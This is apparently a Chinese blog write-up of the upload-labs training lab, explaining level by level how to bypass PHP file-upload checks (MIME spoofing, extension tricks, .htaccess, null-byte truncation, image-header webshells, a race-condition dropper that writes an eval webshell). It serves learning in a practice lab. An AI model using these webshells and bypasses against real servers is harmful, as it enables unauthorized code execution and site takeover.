zoukankan      html  css  js  c++  java
  • upload-labs writeup

    其它的writeup

    https://github.com/LandGrey/upload-labs-writeup

    https://cloud.tencent.com/developer/article/1377897

    https://www.360zhijia.com/anquan/442566.html

    upload-labs安装

    下载地址:https://github.com/c0ny1/upload-labs

    准备

    • 下载后将整个文件放入phpstudy目录下即可

    • 在项目的更目录下新建文件夹upload

    • 上传的文件名不要是中文名,否则会出现上传错误

    pass-1

    操作

    • 准备一句话木马为

    • 上传一句话木马出现1.php弹出

    • 查看javascript存在前端过滤,也能看到相应代码

    • 直接删除,上传,上传成功

    • 如果我们知道上传文件的完整路径(这里可以直接查看图片获得路径),就可以通过蚁剑或菜刀连接

    原理

    • 只是通过前端js来验证文件类型,将js禁用即可绕过

    pass-2

    操作

    • 同一,把过滤函数删除,用bp截断,上传php,将content-type值改为image/png,上传成功

    原理

    • 从源代码可以看到通过MIME-TYPE进行过滤,首先通过$_FILES['upload_file']['type']得到上传的MIME-TYPE,然后和image/png,image/jpeg进行比较

    • mime是多用途互联网邮件扩展类型,用于设定某扩展名文件的打开方式,如.png在数据包的中的content-type为image/png

    • $_FILES是一个全局变量数组,各个值的含义为

    $_FILES['myFile']['name'] 上传文件的原名称
    $_FILES['myFile']['type'] 文件的 MIME 类型
    $_FILES['myFile']['size'] 已上传文件的大小,单位为字节
    $_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定
    $_FILES['myFile']['error'] 和该文件上传相关的错误代码

    pass-3

    操作

    将后缀名改为.php5,成功

    原理

    • 从源代码看,系统利用trim()删除了文件两侧空格,利用deldot()删除文件名末尾的点,利用strtolower()将文件名转换为小写,利用str_ireplace()去除字符串::$DATA。

    • 但是只是利用黑名单$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上传后缀为php等的文件

    • 所以可以利用apache的解析特性:它将.php3,.php5,.phtml等都可以解析为php

    pass-4

    操作

    • 首先上传文件.htaccess,内容为stehandler application/x-httpd-php

    • 接着上传将先前的文件1.php改为1.jpg,上传成功,并可以使用蚁剑连接

    原理

    • 查看源码,和三类似,但它的黑名单为 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");但是并没有禁止.htaccess

    • .htaccess是apache服务器中的一个配置文件,可以实现301重定向,自定义404错误页面,改变文件扩展名,阻止或允许用户访问特定目录或文件等

    • 该文件可以使得目录下的所有文件都以php执行,不过前提是服务器的httpd.conf文件中的allowoverride设置为all

    pass-5

    操作

    • 采用大小写绕过,上传1.PHP

    原理

    • 查看源码,发现它的黑名单没有过滤大小写,或利用strtolower()将文件名转换为小写,所以可以利用大小写绕过

    pass-6

    操作

    • 采用空格绕过,利用bp截断,在文件名后添加空格

    原理

    • 查看源码,没有对文件名的空格去除

    • windows中文件扩展名后的空格会做空处理,但是文件名后加空格使得本来的扩展名改变,绕过黑名单

    pass-7

    操作

    • 采用.绕过,利用bp截断,在文件名后加.

    原理

    • 查看源码,没有去除文件名后的点

    • windows下最后一个.会被自动剔除

    pass-8

    操作

    • 采用::$DATA,利用bp截断,在文件名后加 ::$DATA

    原理

    • windows下,如果上传的文件名后缀为php::$DATA会在服务器生成后缀为Php的文件,内容和上传内容相同,并被解析

    pass-9

    操作

    • 利用bp截断,在文件名后加. .(点,空格,点)

    原理

    • 查看源码,首先利用trim去除末尾空格,又l利用deldot去除末尾点,又去除空格,所以组合点空格点,去除点去除空格,最后剩下点自动剔除

    pass-10

    操作

    • 利用bp截断,将文件后缀改为.phphpp

    原理

    • 查看源码,其中出现了$file_name = str_ireplace($deny_ext,"", $file_name);这一函数,它将上传文件与黑名单的后缀名相同的都用空替换,所以可以双写绕过phphpp中的php被替换为空后剩下php

    pass-11

    操作

    • 利用00截断,首先将phpstudy的php版本切换到php5.3以下

    • 再将php.ini的magic_quotes_gpc改为off

    • 利用bp截断,在保存文件路径处添加11.php%00

    原理

    • 截断漏洞,在系统对文件名读取时,如果遇到0x00会认为读取结束,如:1.php0x00.jpg在上传时认为是jpg,但在新建该文件文件时保存为1.php 。但在php5.3之后的版本已经修复,并且受gpc,addslashes函数影响

    • 查看源码发现,最后保存文件时是将get得到的路径与随机数年月日和上传文件名拼接到一起,所以上传文件路径可控,我们将get的路径最后改为1.php0x00那么拼接到后面的内容就会被丢弃,从而保存为1.php

    pass-12

    操作

    • 利用00截断,现在此处文件名后面添加一个空格,为了便于寻找,然后打开hex,将此处的20改为00

    原理

    • 与十一相同

    pass-13

    操作

    方法一

    • 上传图片webshell,利用文件包含漏洞

    • 编写文件13.jpg,内容为GIF98A上传

    • 点击图片查看上传后图片的位置名字

    • 点击此处,利用文件上传漏洞

    • 但是我这出现了个问题

    • 所以我回到phpstudy把这个include.php拷贝到文件上传的目录upload,然后找到这个页面

    • 我们查看这个代码,发现他是利用get得到文件参数,然后利用include进行文件包含,所以url处构造?file=刚才查看上传的文件名

    原理

    • 查看源码,它是通过判断文件的前两个字节,来判断是否是png等图片,所以在上传的php文件前加入GIF98A即会被判断为Gif文件

    • 文件包含:在php中使用include,include_once,require,require_once函数包含的文件无论文件名称是什么都会被当做php代码执行

    方法二

    • 利用图片隐写的方式,将木马拼接到图片图片结束符FFD9之后,通常会忽略文件结束符之后的数据。

    • 可以利用命令copy /b 1.jpg +1.php 2.jpg得到,其中1.jpg为载体文件,1.php为包含木马的文件,2.jpg为得到的文件

    pass-14

    • 同上

    pass-15

    • 需要打开配置php.ini中的php_exif模块

    • 同上

    pass-16

    • 在此处写入了phpinfo()

    • 查看上传处的图片,该语句保持不变

    pass-17

    操作

    • 利用竞争条件上传,上传文件,文件内容为
    <?php
    fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>');
    ?>
    
    • 上传文件的同时,利用脚本不断访问该文件
    import requests 
    while 1:    
        requests.get("http://192.168.89.130/upload-labs/upload/15.php")
    
    • 最后上传目录下会生成shell.php文件,内容为

    原理

    • 查看源码,文件先通过move_uploaded_file进行保存,然后用in_array判断文件是否为图片类型,如果是就用rename进行重命名,如果不是,则使用unlink删除文件。所以可以利用这个时间差,当文件保存后,就不断访问该文件,使得它又生成一个shell.php,之后即使上传文件已经删除,shell.php仍然存在。

    pass-18

    不知为啥,这一关总是无法成功

    pass-19

    • 可以将保存名称后缀设置为. .,同六

    • 可以设置为.

    • 可以大写绕过

    pass-20

    操作

    • 利用bp截断,上传20.jpg

    • 将post提交的数据包改为

    原理

    • 将源码复制到下面,利用注释进行分析
    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){//这一步是检查上传的文件是否为规定的类型
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//如果通过post传递的参数save_name为空,$file就为上传文件本来的名字的值,否则为post传递的save_name的值
            if (!is_array($file)) {//因为我们都是填写了保存名称,即用post传递了save_name的值,所以这里判断我们填写的保存名称是否为一个数组
                $file = explode('.', strtolower($file));//不是一个数组就利用.对文件名进行分割
            }
    
            $ext = end($file);//数组最后一个值即文件后缀名给$ext
            $allow_suffix = array('jpg','png','gif');
            if (!in_array($ext, $allow_suffix)) {//再一次进行判断是否为允许上传的类型
                $msg = "禁止上传该后缀文件!";
            }else{
                $file_name = reset($file) . '.' . $file[count($file) - 1];//将数组count($file)-1的值给了$file_name,最后拼接到数组第一个元素后后,reset()为将读取数组第一个元素
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    
    
    • 通过以上分析,可以知道,它用end()读取最后数组最后一个值来进行过滤,又将(file[count()file) - 1]的值拼接到数组第一个元素后后,所以可以上传save_name为一个数组,数组第一个元素为*.php,第二个元素为空,第三个元素为jpg。此时利用jpg通过判断,将空拼接到.php后文件仍为.php

    最后

  • 相关阅读:
    Ajax 学习笔记
    StringBulider简单用法
    asp.net 发送邮件
    log4net日志组件
    Web.Config文件详解
    关闭discuzX3.2注册页面的注册邮箱验证
    Oracle 序列(sequence)的创建、修改及删除
    MySQL 和 Oracle 主键自增长
    EL(表达式)语言的几种运算符
    SQL:select case when 的用法
  • 原文地址:https://www.cnblogs.com/Qi-Lin/p/11296761.html
Copyright © 2011-2022 走看看